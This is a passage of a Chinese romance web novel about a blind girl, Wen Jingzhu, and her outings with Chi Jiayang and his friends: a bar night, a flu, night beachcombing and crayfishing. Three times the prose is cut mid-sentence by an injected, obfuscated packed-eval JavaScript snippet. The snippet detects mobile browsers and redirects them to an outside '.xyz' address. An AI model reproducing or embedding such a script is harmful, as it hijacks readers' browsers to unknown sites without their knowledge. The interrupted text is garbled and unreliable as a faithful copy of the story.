温惊竹更无法听歌了,一句都听不进去,脑袋里乱乱的。 陈烽是在关心她吗? 突然的这样一句关心算怎么回事? 她品出了陈烽这句话的意思——是不是那个女的来和迟嘉洋胡闹,你伤心了?可她伤心的缘由是什么?以什么身份?凭什么?他是不是误会了什么…… 温惊竹也无法解释。 她只是想努力听歌而已。或许是自己太安静了,也或许是右边太吵、自己不能好好地听,于是不经意间蹙起了眉头,流露出了有些忧愁的神情。 身旁的女生闹了一阵后就走了,也不知道她为什么总走得这么快。 恢复了原来坐的位置,迟嘉洋将厚厚的一沓手抛纸放进温惊竹手里:“小竹子,你来撒吧!” “撒?怎么撒?”温惊竹不知所措。 “就这样,来,往天上抛!准备啊,快到零点了,要不你站起来吧!” 快到零点时,酒吧里的气氛渐入高潮。迟嘉洋扶着温惊竹站起来,引导她:“别怕,就这样,一会儿我和你一起抛。” 众驻唱歌手齐唱:“我们的爱——错过就不再回来——”场内的人随之合唱,迟嘉洋在温惊竹耳边倒数:“3,2,1——” 温惊竹按照迟嘉洋所教,将手中的纸向高处尽数抛出,他告诉她:“你知道吗?可好看了,小竹子!漫天都是红色的纸!” 柔柔软软的纸,又从空中的各个方位飘落下来了。 不知道下一秒,又会有哪一片落在她身上的哪个位置,她开心地笑了。 一晚上玩得很嗨,回海县的路上已经是凌晨一点半,导航上显示出预计的到达时间为:02:47。 一行人中只有迟嘉洋没有喝酒,所以由他开车,换温惊竹坐在副驾。中途还停车任陈烽到路边去吐了几次。终于吐干净后,车上归于安静,叶盛斌、刘晓栋和仲晓雯都在后排左歪右倒地睡着了,刘晓栋还时不时传出阵呼噜声。 蓝牙没再放刘晓栋的土嗨DJ了,连的是迟嘉洋的。在这样的氛围下,播放到《鲜花》。 温惊竹有些怔愣,这回她很认真地听完了。 也只有她和迟嘉洋在听。 在这四下无人的高速路上,在这长长的GL8商务车中,其他人都沉沉地睡了。这个世界现在一定是一片漆黑的吧,温惊竹想象着,因为脱离了城市的灯光,也听不到其他任何声音。 她很珍惜,也很喜欢和迟嘉洋单独相处的时间。 虽然这样的时间很少,虽然他们两在这样的时间里也不会有太多互动,没有了很多朋友在一起时的热闹,迟嘉洋身上就少股热情劲。但安安静静的,就很好。 回到海县,将车里这些人依次送到住处,迟嘉洋将商务车停回了他家店门口,换回了他的野马。 温惊竹刚坐上副驾,就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588695|171777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听他问:“小竹子,你饿不饿?” 她:? 要是没记错的话,他们晚上在酒吧里吃了不少东西:果盘,薯条,天妇罗大虾…… “我饿了。”他说,“走,我们去罗森找点东西吃吧。” 不由分说,说做就做,野马在海县凌晨空无一人的街道上飞速掠过。进罗森便利店后,他挑选了些关东煮,问温惊竹想吃什么,拿了她喜欢的,和她一起在店内的桌子边吃起来。 仍是很安静的,没什么话。 直到吃着吃着,迟嘉洋突然笑了几声,说:“小竹子,谢谢你啊,大半夜还有你陪我吃东西。” 温惊竹继续嚼了几口,也笑了。 —【4月6日流感】— 从烟城回来后,温惊竹就蔫蔫的。 其实这样不太舒服的感觉,或许是从陈烽回来的第一天、一口气喝完那杯酒开始的,温惊竹好像就是从那时开始晕晕乎乎。 只是第二天去斑马的快乐冲淡了这份不适。但一直熬到凌晨三点、和迟嘉洋吃完关东煮、蹑手蹑脚地回到家、洗漱躺下,第二天八点钟被叫起来吃早饭、练琴,她好不容易找回的状态顷刻间土崩瓦解,程老师也发现她劲头不对,看了看她脸蛋上泛出的殷粉,实在是那种不太正常的殷粉,便用手掌撩起她刘海、覆上她额头,滚烫得吓人:“哟,你是不是发烧了?” 温惊竹才知道:哦,原来自己这么不舒服是发烧了。 她虽然看起来清瘦,但可能因为从小被家里保护得挺好,基本没生过病,体质也不错,却也经不起和迟嘉洋在一起的这种折腾。 程老师把她生病的事告诉了迟夫人,迟夫人相当惭愧——竟然是钢琴老师先发现了温惊竹不对,想到陈烽回来后迟嘉洋连续两天带温惊竹出去疯闹,她立刻打电话给迟嘉洋,将他给骂了一顿。迟嘉洋正在送陈烽去高铁站的路上。 温惊竹的钢琴课暂时上不了了,迟夫人直接让她躺床上休息,额头上敷上湿毛巾,一打听才知道最近流感盛行,便买了几盒专门应对的药。 一陷入柔软的床,温惊竹直接进入半昏迷状态,睡得死沉。 晚上喝了阿姨送来的白米粥,重新半昏过去。隐隐听见迟嘉洋的声音在床边叫她:“小竹子,小竹子……” 可她整个人就像被钉在床上,动弹不得,连眼皮都像是被胶水给粘住了,完全睁不开。 迟嘉洋的声音传入她耳中,仿佛经过了一个很漫长很漫长的螺旋形隧道,才抵达她大脑,变成几片很轻很轻的呓语,甚至让人有一种是不是自己的错觉的怀疑。 “我给你带了几朵花,是我爸爸照看的那片地里的。樱花,你见过没有?哦不好意思,我说错了……”因为温惊竹压根看不见东西,何谈有没有见过,“那什么,反正是樱花,粉色的,很柔软很柔软,很漂亮很漂亮。现在那片地里开得满树都是,那儿还有一座房子,一片鱼池,里面的鱼都被喂得可胖了,有时间我带你去看看好不好?” 没有回应。 “好吧,你先休息吧……” 他一步一步地退了出去,悄无声息。 第二天醒来时,温惊竹整个人都清醒了。 她身上裹着厚厚的被子,应该是迟夫人或昨晚来给她送饭的阿姨掖的。 吃了有效的药,又闷了一晚上汗,来势汹汹的流感去也匆匆,她原本沉重的身体一下子轻快极了。意识也变得清楚,她极力捕捉着昨晚关于迟嘉洋给她“送花”的所有回忆…… 却像是一场梦。 她开始摸索,摸到了枕边的那一簇柔软,是好几朵并蒂生长在一起的花。 经过了一晚上时间,它们似乎有些蔫了,所以才这么软烂,这么弱不禁风,这么一碰就碎,所以她摸得很小心,又翻过身去、凑近了闻闻,还有清香,于是心满意足地笑了,因为捕捉到了昨晚那一场梦的形状。 8. 梦中梦 —【5月1日夜海】— 温惊竹一练完琴,迟嘉洋便带她往面剧赶:“小竹子,今晚的活动可是你从来没有体验过的。怎么样,期不期待?哦对了,还有一个你从来没有见过的人……” 说到这儿,他话音很微妙地低下去,温惊竹还没体会出什么。 她正兴致勃勃地对着车窗。 当然不是为了看什么,连迟嘉洋所说的“你从来没有见过的人”,她也想在心里更正,她从来“见”不到任何人,都是“听”到的和“碰”到的。 此时已步入五月,这年天气暖和得很早,迟嘉洋开车时也习惯将车窗大开,那样暖而柔和的风便像一只宽厚的手掌,不断地、一遍一遍地迎面抚过她面庞,特别舒服。 不过她有时又有点担忧,她这样直勾勾地对着车外,外面的人、经过的车要是发现了她的异样,会不会觉得很奇怪。 “小竹子,你就不好奇我们晚上到底要去干什么?”迟嘉洋问。 “嗯……”她想了想,“你们去干什么我就去干什么。” 迟嘉洋笑了:“好,不过我们先去吃个饭。” 他拉着温惊竹的手进了面剧,叶盛斌与刘晓栋几乎异口同声:“洋哥,你看这是谁?” 尤其是刘晓栋,他那嗓门大起来真怪吓人的。温惊竹到现在仍不能适应,还是被他那中气十足的吼声给吓得一顿足。 “洋洋!” 不过分甜腻的、却满是撒娇语气的女声响起。 确实是温惊竹从未“听”过的人。 “哟,稀客呀,孟皓琦!”迟嘉洋笑嘻嘻走过去,甚至下意识松了拉着温惊竹的手,走了几步后才反应过来,他“噢”一声,回身重握住温惊竹的手臂将她给带进去,女生不免好奇:“这位是?” 刚才面对熟人时的嘚瑟语气一下子变正常。 “哦,小竹子,我来给你介绍一下。”迟嘉洋往边上让了让,使两人面对面,“她叫‘温惊竹’,因为家里出了点变故,所以暂时住在我家里。” 女生明显有点愣,打量了温惊竹一会儿才开口:“她……” “她眼睛看不见。” “啊……” 有些遗憾的一声感叹,但也像忽然卸下了所有防备,因为温惊竹在她和迟嘉洋之间的威胁性立刻被宣告为0%,她又恢复了最初那兴奋十足的语气:“洋洋,快说,你想不想我啊?” “想啊,当然想了。”迟嘉洋学着她语调回应。 他们这样的对话半真半假,要说是情侣或相互喜欢的人,不太像。 想到迟嘉洋在斑马两次叫来的那名女生,温惊竹心里有了个大概,这或许又是一位和迟嘉洋有着几分暧昧的女生,有机会就在一块玩玩,不过听起来他们认识的时间不短了。 “怎么样,大学的感觉怎么样?”迟嘉洋先在沙发上坐下,和她聊天。 “唉哟,那可太不好了,洋洋!我成天都见不到你!” 迟嘉洋说:“你少来。”却是笑着。 今天仲晓雯不在,林候也不在,后者多半和他女朋友约会去了,除了温惊竹、迟嘉洋和孟皓琦,面剧里只有叶盛斌和刘晓栋。 在沙发上聊了会儿天,五人一起坐刘晓栋那辆白色SUV去吃饭,找了家烤肉店,一圆桌,温惊竹坐在迟嘉洋左侧,孟皓琦坐在他右侧。 孟皓琦话又多又密,和迟嘉洋聊起天来不带停的,而且那些梗和玩笑一个接一个地从她口中蹦出,迟嘉洋相当受用,连温惊竹都听得津津有味。想到迟嘉洋在斑马时,对那个来了两次的女生不算太热情,现在却和孟皓琦一来一回地说得激动。相比之下,温惊竹像是孟皓琦反面,安静得一言不发。 根据他们聊天判断,孟皓琦之前和迟嘉洋是一所学校的,是他的学姐,他们关系很好,以前经常在一块儿玩,只是孟皓琦已经毕业,现在在外地上大学,这会儿五一放假了才回海县。 “之前清明节怎么不回来?”迟嘉洋问。 “怎么,你想我啊?”又是熟悉的调调,然后才正经,“清明就放三天,谁稀罕回来?” “陈烽都回来了,你要是回来我们还能凑一起玩玩。” “哎呀,陈烽是谁?不认识。”她翻个白眼,“那我就更不应该回来了,小洋洋,清明节假期你都在陪人家玩,哪儿还有时间陪我玩?” 迟嘉洋笑了:“不是说了吗?一起玩,哪有什么陪谁不陪谁的。人多了热闹,而且有你在也有意思多了,是不是?” “哎呀,可别这么说。”她声音娇滴滴的,“说得好像在的人都不够有意思似的。” “呵呵,我们确实没什么意思。”叶盛斌接话道,“去了斑马,我们就在那儿杵着喝酒,谁哄洋哥啊?不信你问刘晓栋。” 刘晓栋一声长长的:“嗯——” 温惊竹一直不做声,却感觉迟嘉洋另一侧有一道目光闲闲地扫过来:“那她呢?她去了吗?” “嗯?”迟嘉洋才顺着孟皓琦目光看向温惊竹,“去了,当然去了啊。” “那还没意思呀?”孟皓琦笑着拍了他一下,“你也真是的,真亏你想得出来,带人家去酒吧做什么?” “我不管,反正你陪着别人玩的时候我可不去凑热闹,你专门陪我玩的时候才算有诚意嘛!” “好——”孟皓琦露骨的时候,迟嘉洋反而不那么走心了,语气里带上敷衍,“今晚不就是专门陪你玩吗?还记得么?我们的传统项目。” “赶海?”孟皓琦眼里亮亮的。 她看过叶盛斌与刘晓栋,两个人都似笑非笑:“对啊,就是去赶海。” 温惊竹心里也有了答案:原来迟嘉洋跟她卖关子,说晚上要去的、她所没有体验过的活动是赶海。 她确实从没有去过,不免有些期待。 只要和迟嘉洋在一起,她的生活里总是有新鲜事物接连不断地填充进来。 烤肉上了,迟嘉洋仍要照顾温惊竹。不仅是将烤好的肉夹给她那么简单,还要专门准备一副“伺候”她的筷子,为她将每一片肉都裹上恰到好处的蘸料。她所吃的每一口味道如何、咸了或淡了,都要靠他,所以他格外认真。 温惊竹发现,每当迟嘉洋给她夹肉、蘸料,甚至是包生菜时,孟皓琦那张叽里呱啦的嘴就会停一下。 这时她竟然有点愧疚,孟皓琦对迟嘉洋究竟有没有好感呢?迟嘉洋倒不好说,他似乎和每一位异性都玩得好,关系让人捉摸不透,甚至和自己也算是走得近吧? 可她又很清楚,她和迟嘉洋接触频繁完全是因为她特殊。如若是因为这点而让孟皓琦不爽,那她也不知道该怎么办了。 孟皓琦刚才话里话外都是嫌迟嘉洋对她不够偏心,真里有假,假里有真,但好像还是真多一点,不知道迟嘉洋有没有听出来? 吃完了烤肉,回到面剧,他们去赶海是有一套专门的装备的,都寄放在面剧一楼的仓库里。 “都放了多久了,还能不能用了?”孟皓琦嗔怪,叶盛斌正在仓库里翻箱倒柜地找。 “哎呀,放心吧,这些东西放多久都不会坏的,头灯也是让叶盛斌定期充电的。”迟嘉洋说。 叶盛斌笑:“你都不知道你洋哥每天念叨小龙虾有多频繁。” 迟嘉洋又说:“应该有多余的吧?别忘了给小竹子拿一套。” 温惊竹还不知道是什么。 后来都找出来了她知道了,有不锈钢长嘴夹、水桶、头灯以及赶海专用的连体下水裤,下水裤PVC面料,从脚一直套到上身的,如同背带裤一样,可以调节松紧,但鞋码不能调节。 叶胜斌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588696|171777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看了看摆在地上的几套下水裤:“只有一套是女士的,就是之前孟皓琦用的那套,其余都是男士的。小竹子多高呀?163左右吧?孟皓琦你呢?170?” “放屁!”孟皓琦一叉腰,“老娘我有那么魁梧吗?我169好吧!” “……这有什么差别?” “那我的意思是,”叶盛斌仍旧认真地分析,“就把你的那套给小竹子用吧,她太小了,穿男士的肯定大到离谱,在水里没法走。这有个男士的鞋码39的,你穿着应该也行。” “啥?” 孟皓琦明显不高兴了。 从语气判断,她应该直接变了脸。 气氛陷入僵持,几人都不说话。 温惊竹两手的拇指抠着食指边缘,酝酿了片刻,因为总不习惯在这么多人面前发表自己的意见:“其实我,都行……” “唉,好啊,孟皓琦非要穿她那套就让她穿吧,那本来也是她的。”既然温惊竹松口,那这也是眼下唯一的解决办法了,迟嘉洋做出决定,“小竹子也不会赶海,我们照顾着她点就行。” 是的,她什么都看不见,怎么赶海?无非是去凑个热闹罢了。 他们愿意带她这么一个看不见的人去,她就已经知足了;在迟嘉洋兴冲冲地对她说,今晚带你去参加一个你从来没体验过的活动、你期不期待时,她就已经知足了。这么想着,她又高兴起来。 仍是乘刘晓栋的白色SUV抵达海边,此时已经夜色茫茫了。但听他们说,这海边到处都是一道一道的白光——都是来赶海的人头上所戴的头灯,射出的一道一道的白色光线。它们随佩戴者的视线而不断变换方向,释放出搜寻猎物的信号。一会儿他们五个也要一人佩戴一个,包括温惊竹,虽然她看不见,但这样可以让大家明确她所在的位置。 下了车,各人开始穿戴各人的装备。 温惊竹当然没法自己穿戴,大家都默认了迟嘉洋穿好后会给她穿,但孟皓琦穿得相当快,全副武装后直接跳到温惊竹身边:“我来帮她吧。” 迟嘉洋扫她一眼:“好。” 孟皓琦便整理了一下温惊竹的下水裤,让她脱了鞋,握住她脚腕:“来,抬起腿来,跟着我的手把脚迈到这里来。” 温惊竹手扶着车,根据她指示去做。 孟皓琦给她套下水裤套得非常快,像不太有耐心的幼儿园老师应付小孩。给温惊竹调整上半身松紧时,她长长的指甲还划到她几下,有些疼,温惊竹没吱声。 “好了,再戴个头灯,你别动。” 头灯的带子就更加复杂,孟皓琦给她调整时指甲又划到她几下,但也不是疼到会破皮出血的程度。 真的是完全不小心的吗?但若是故意的又怎么样呢? 温惊竹在心里觉得奇怪,难道孟皓琦主动请缨给自己穿戴装备只是为了划自己这么几下吗?有点像小学生做派,自己也并不会因此而多么生气。她好像天生生不起气来。 “都好了吗?我们可以下海了吗?”刘晓栋迫不及待地喊。 “再检查检查。” 迟嘉洋走到温惊竹身边,看了看她身上的各种带子,她便像一位等待检阅的士兵,任他这儿调调那儿弄弄。 过程之中,她感觉一道分外毒辣的目光正投向自己,脑子里不知怎么出现了孟皓琦在一旁的模样:歪着头、手别于胸前,眼里满是反感与厌恶。 而身前,迟嘉洋每给自己调整一处,手指关节隔着衣料与自己产生似有若无的接触,自己却会有一种被一小股电流给刺过的酥酥麻麻的感觉。 不知道为什么,那一刻她忽然开窍了:孟皓琦之所以主动给自己穿下水裤、戴头灯,是不是就是为了减少迟嘉洋和自己的接触?而自己的这种特殊情况,算不算作弊?她忽然又很不好意思了。 9. 梦中梦 “走喽走喽!”刘晓栋挥舞着手中的长嘴夹,与叶盛斌打头阵,往海边走去。 他们的头灯都打开了,随各自视线的方向射出道白光,吸引来一些小虫子飞舞,但这个季节的飞虫不多,也就无关痛痒。 迟嘉洋拉着温惊竹的手,两人余下的两只手里各拿着一只长嘴夹,温惊竹也不知道他们给她这东西做什么,她又不能真从海里抓出什么东西来。 “小心啊,要进水了。” 连续迈出几步,真的走进了水里,脚部同时因为水位提升而感受到压力。 温惊竹的心脏因为忐忑而跳快了些,她想象着自己眼前的画面,多神奇啊:她竟然直接走进了海里! 她能听见从四面八方传来的浪潮声,那么广袤,那么壮阔,而现在是夜晚,那么周围就是一片漆黑……会有灯光倒映在水里吗?或许没有,因为四周都静悄悄的,这里并不是海县的市中心位置,而哪怕是中心位置也不够繁华,这里应该算郊外。 对了,刘晓栋刚才说过,这里也有很多其他人在赶海,于是她又在脑中的情景里添加上一些似有若无的黑影,但从他们头部射出的一道一道的白光是十分鲜明的。 “迟嘉洋,你走得也太慢了吧!” 十几米之外,传来孟皓琦的责怪。 温惊竹哼哧哼哧地走得费劲,因为这海底的情况与她预料中实在不同:不是以前在烟城海水浴场踩过的绵软的沙滩,而是尖锐的、起伏不平的硬石头遍布,深一脚浅一脚,高一脚低一脚,水裤的鞋码又不合适,她脚下松松的,身体的大部分重心都压在迟嘉洋扶她的那只手上。 尽管如此,她还是十分小心,生怕一个不经意摔倒,要是摔进水里、磕到这些起伏不平的硬石头上可不是闹着玩的,迟嘉洋还真不一定能眼疾手快地将她扶住。 没多久,她就渗出一身细汗,可她和迟嘉洋的移动速度堪比蜗牛。 “迟——嘉——洋——” 那边传来孟皓琦愤怒的吼声。她和他们两人的距离越来越远了。 过了两秒,迟嘉洋暴躁地回应:“怎么了?” “你到底来不来抓东西啊?我刚才看到了一只螃蟹,已经跑了!”孟皓琦喊道,“你这样走一晚上都走不过来!你们在那里水中漫步是么?” 迟嘉洋停下了,温惊竹不得已跟着停下。 他应该在烦躁,但心里还是想去孟皓琦那边的。 斜后方传来涉水靠近的响动,叶盛斌声音在两人身后响起:“我带小竹子在这一片走走,你和孟皓琦去那边抓东西吧。” 安静了一秒,“行。” 迟嘉洋将温惊竹的手臂交到叶盛斌手里。 “小竹子,你先跟叶盛斌在这一块走走,行不行?”他和她说,“我去看看能不能抓到点东西。” 温惊竹点点头,气还没喘匀:“好。” 叶盛斌笑了:“你看你,这是带她来遭的什么罪?” “你不懂。”迟嘉洋没好气地丢下一句,向孟皓琦方向去了。 “你说你,什么都看不见,迟嘉洋还非要带你到这海水里泡着,他自己还急着去玩。”空荡荡是世界里只剩下温惊竹和叶盛斌两人,温惊竹倒不反感和叶盛斌碰触,他握着她手臂的手掌有些粗糙,只是这样的感觉依然和与迟嘉洋的不一样。 ——原来和熟人碰触,也和与迟嘉洋碰触的感觉不一样。 温惊竹在水里慢慢走着,也做不了什么。叶盛斌就这样陪着她,她想问他是不是很无聊,但又不敢让他离开留下她独自一人。因为一想到自己一个人站在一望无际的海水中她心就发怵。 孟皓琦将迟嘉洋叫走了,两人却也没走远,就在不远处嘻嘻哈哈。迟嘉洋忽然喊:“桶!桶!” “怎么了?”孟皓琦回喊。 “螃蟹!夹到了一只螃蟹!快!” “卧槽——” “扑通”一声,似乎是孟皓琦直接把桶朝迟嘉洋扔过去,她一声惊叫,接下来声音往温惊竹和叶盛斌这边传来:“叶盛斌!你快过来!迟嘉洋这个傻逼,他把我们的桶给弄丢了!哈哈哈哈哈!” “快过来啊!我们抓到了一只螃蟹,还夹着呢!” “你滚啊!到底是谁把桶给扔了的?净会栽赃陷害!” “我不是着急吗!谁想到它直接被海浪给冲走了?” “你彪啊?不被冲走它还能自己漂过来么?那你赖我干什么?幸亏里面没多少东西!” “那你也没拦住它呀!哈哈哈哈哈!” 温惊竹停住脚步,叶盛斌松开了她的手臂,说:“那我过去一趟,你站在这里别动,嗯?” “嗯。” 她声音一向很轻,这时落在叶盛斌耳中可能有些可怜巴巴不情愿的意思,但他也没办法。刘晓栋自己一个人,一只夹子一只桶,早虎头虎脑不知道走哪儿去了,这海面上远远近近,每一束白光就代表一个人,根本不知道哪个是刘晓栋。叶盛斌另一只手里还提着只桶,他的夹子在桶里,只有他能去帮迟嘉洋和孟皓琦了,他再次安慰温惊竹:“不用害怕,这里很安全,不远处都是人,你在这里站着别动就好。” 温惊竹再次应一声:“嗯。”听着他渐行渐远的踏水声:“来了!” 接下来的时间很漫长。 只是停在原地站着,也不如叶盛斌说的那么好受。 温惊竹感觉自己与整个世界隔绝了,或者说,被整个世界给抛弃了。 她可以回想起自己刚下海时脑中的画面:无边无际的海面上,有很多同样在赶海的人,他们所戴的头灯会射出一道一道的白色光线。可是她并不能真实感受到任何,听不到多少声音,就好像四周空空寂寂,空无一物,只有浪潮在脚下不断席卷,隔着水裤的材料压迫着她的双脚,更显得孤立无援。 远处又传来迟嘉洋与孟皓琦的笑声,还有叶盛斌隔三差五的说话声。 孟皓琦似乎不让叶盛斌回来,而是让他一直提着桶、跟随他们两个捕捉海物。总会有新的发现,所以他们注意力很快就转移了,格外兴奋。 或许他们也发现了温惊竹小兔子一般极其能忍耐的性格,所以即使不用照顾她感受,也不会有什么后果。 凉凉的风从四面八方吹来,把那些欢声笑语吹成一段一段的、飘飘摇摇的碎片。温惊竹忽然发现了手中长嘴夹的新用处:她将它当作拐杖,探索着脚下的地形,一步一步漫无目的地前行,也算是一种自娱自乐了吧。 她努力地凭风辨别着方向,明明觉得自己是在沿海岸线前行,却越走水越深,快漫到腰际,海水隔着水裤带来的压力也愈加大。她停住,开始找新的事做。 她想象着这片海周围的样子,或许会挨着一片山崖,上面有几栋破旧的房子,但不会有人住在里面……因为海县本就够偏远了,这里也不挨村落,谁会闲着没事住在海边呢?大概只是一些渔民临时的落脚地。那么另一个方向或许会有一条公路,每隔出一段距离闪烁着一点暖橘红色的灯光…… “温惊竹!温惊竹!” 迟嘉洋的声音传来,有些焦急,大声地喊她。 但他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588697|171777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可能真找不到她了,因为那喊声不断改变着朝向。 温惊竹没有反应,虽然有几个瞬间她几乎要脱口而出着喊回去了:迟嘉洋! 可不知为什么,那时候她心里有一种意识,这样喊回去仿佛意味着一种妥协,一种无论你如何对待我、当你寻找我时我就一定会做出回应的软弱,而且她从来没大声喊过话,所以最后她始终没有做声,只是循着迟嘉洋的声音默默转朝了他所在的方向。那样子她好像在注视他,但实际上她什么都看不到。 迟嘉洋发现那道射过来的白色光束后,在心里感叹:给温惊竹佩戴上头灯确实是一个明智的选择。 他一步一步地淌着水,来到温惊竹身边:“小竹子,你怎么自己走到这儿来了啊?这水多深啊?” 温惊竹没有说话,任他拉着她的手往浅水区走。 似乎也意识到刚才把她一个人丢下太久,有些心虚,迟嘉洋又跟叶盛斌要来了桶,带着她玩了一会儿,和她说:“小竹子,你要不要试试你能不能从水里夹起些什么?你要不要试一下?” 温惊竹有些犹豫,但还是听从了,用长嘴夹在水里试探着夹了几次,感觉夹住了什么硬硬的东西,但好歹是夹住了,拿出水面,迟嘉洋愣了:“……是一块儿挺漂亮的石头呢,小竹子。” 重复了几次,她夹出的不是石头就是海草,她也只能夹到这些东西了。不出所料,孟皓琦没一会儿走过来:“你们在这里干什么呢?夹石头玩?” 声音里不无鄙夷,迟嘉洋笑了,温惊竹也跟着笑了,只是笑得有点苦苦的。 “好了好了,时间不早了,我们快走吧。”孟皓琦催促。 就这样,他们回到了刘晓栋的车边,而桶里那些东西看了又看,都是些带回去也没什么用的,没想到迟嘉洋直接将它们倒进了路边的草丛,温惊竹能听见小鱼不断扑腾挣扎的声音,孟皓琦在一旁哈哈大笑。 脱水裤和卸头灯都是迟嘉洋帮温惊竹弄的,不知道为什么,孟皓琦这会儿连干预都懒得干预,上车后,她说:“直接把我送回家吧,时间不早了,省得我妈叨叨,说我一回海县就玩野了。” 负责开车的刘晓栋应下:“行。” “明天还出来么?”迟嘉洋问她。 她一秒切换为不正经的撒娇模式:“洋洋哥哥要是陪我的话我当然出来啦!” 迟嘉洋笑了:“你少来。” 把孟皓琦送回家后,众人和她道别,车门一关,驶出一段,叶盛斌笑着和迟嘉洋说:“你信不信,小竹子以后再也不和你出来赶海了。” 沉默片刻,迟嘉洋问温惊竹:“真的吗?” “嗯?” “下次要是还出来赶海,叫上你,你还会和我出来吗?”他问。 温惊竹想了想,竟然有些不好意思,但还是说:“会。” 迟嘉洋笑了,怼了怼在副驾驶位的叶盛斌,炫耀一般:“你听见没有?人家小竹子好着呢,你少在这儿挑拨离间!” 叶盛斌也跟着笑了笑。 回到面剧,收拾好东西,迟嘉洋带温惊竹回家了。 但五一假期的接下来四天,他没再带温惊竹出去玩过,他人也没在家里待,温惊竹便和迟夫人一样不知道他做什么去了。 迟夫人倒是选了天气晴好的一天,带温惊竹去迟父那片开满樱花的地里玩了玩,给她拍了几张照片。温惊竹忽然想起迟嘉洋在她生病时对她说过的话:反正是樱花,粉色的,很柔软很柔软……有时间我带你去看看好不好? 原来那真的只是一场梦吗? 10. 梦中梦 —【5月19日至5月22日小龙虾】— 天气愈加暖和了,当温惊竹都快把迟嘉洋每天念叨的“抓小龙虾”的事给忘记时,某天他突然惊喜地拉着她往面剧赶,说:“小竹子,你知道吗,我昨天和叶盛斌去以前抓龙虾的地方看了看,终于看到有小龙虾出来活动了!” “抓小龙虾……”温惊竹喃喃着,仍然对这件事没有概念。 不过小龙虾这东西她吃过,是有点硬实的肉,小小的一团,很香。 “嗯,和赶海差不多,但环境有点恶劣……”迟嘉洋说到这里,声音又不自觉落下去,“小竹子,你愿意陪我去吗?” 温惊竹一时没有回应,在心里想:恶劣?能有多恶劣?但还是说:“我愿意。” 迟嘉洋笑了。 却让温惊竹有种不祥的预感。 到了面剧,简单地吃过晚饭,迟嘉洋便迫不及待张罗着去村里抓龙虾。温惊竹捕捉到这个关键词:村里。联想到他之前说环境恶劣,可她仍然不知道是怎么回事。叶盛斌重新从仓库里将那些装备拿出来:“那就给小竹子穿孟皓琦这套水裤吧。” 迟嘉洋说:“行。” 孟皓琦。这个名字已经从温惊竹的世界里消失半个多月了,再次冷不丁冒出来,还是让那一天的回忆钻进她脑海:阴阳怪气的话语,长长的指甲,夜晚的海。 可孟皓琦在的那一天迟嘉洋确实十分开心,之后的五月里他虽然有说有笑,但相比起那天来难免显得平淡,无非就是带温惊竹吃吃饭,来面剧和大伙一起聊聊天、打打牌,一天一天地挨,终于挨到了这一天,刘晓栋气壮山河地一声吼:“走吧!我们出发,去抓小龙虾!” 从面剧到目的地要近半小时车程。 在后面一段路程里,温惊竹明显感觉到路面狭窄弯曲,颠簸起伏,应该是进村了。 周围虫声嘹亮,她还不自量力地开着车窗,没一会儿一只小飞虫迎面撞上她脸,她嫌弃地赶紧抹掉,靠到座椅上去,不再好奇地朝向车外了。 后面的情况就更加糟糕。 找地方停了车,四人下车来穿戴装备,这回只能由迟嘉洋来帮温惊竹穿,温惊竹却高兴不起来。 因为他们似乎在一片草地旁,而这路边的草几乎有半人高,她听见那草地里传出各种虫子的鸣叫,感受到不断有小飞虫撞到自己皮肤上,而她对虫子这类生物异常害怕。 迟嘉洋给她套上水裤,戴上头灯,并没有发现她的异样,大概只觉得她有些拘谨,安慰道:“没关系,小竹子,这次就不给你夹子了,反正你也抓不到龙虾,你就跟着我在水里慢慢地走,好不好?” 她轻轻应一声:“好。” 但若是这种环境下的水,又是什么样的水呢?她不好的预感愈发强烈。 迟嘉洋拉住她手,开始走了。 沿着坚硬的水泥路走了一段,偶尔有车经过,但很少,他们突然一个转弯,温惊竹脚下一软,立刻迟疑地停住脚步。 “别怕,”迟嘉洋告诉她,“我们这是踩进泥地了。沿着这样的路走一段,我们就可以下水,这里有一条很长的半环形小溪。” 温惊竹没有说话,忍受着在这样柔软的地里深一脚浅一脚,还能感受到脚下被压扁的密密实实的小草,那脚感有些一言难尽,她实在不喜欢这种感觉,甚至连那些烦人的小虫都顾不及了,迟嘉洋突然叫道:“小心!牛粪!” “啊?” 她心猛然一缩。 “没事,你迈过来,步子迈大一点——对。”迟嘉洋指挥着,温惊竹却觉得整个人要虚脱了。 接下来的每一秒都是煎熬。 终于听到潺潺的水声,越过一片半人高、相当坚实的草地,迟嘉洋扶着温惊竹下水了。 这里水下的情况比五一赶海时好点,不是凹凸不平的石头,而也是泥。 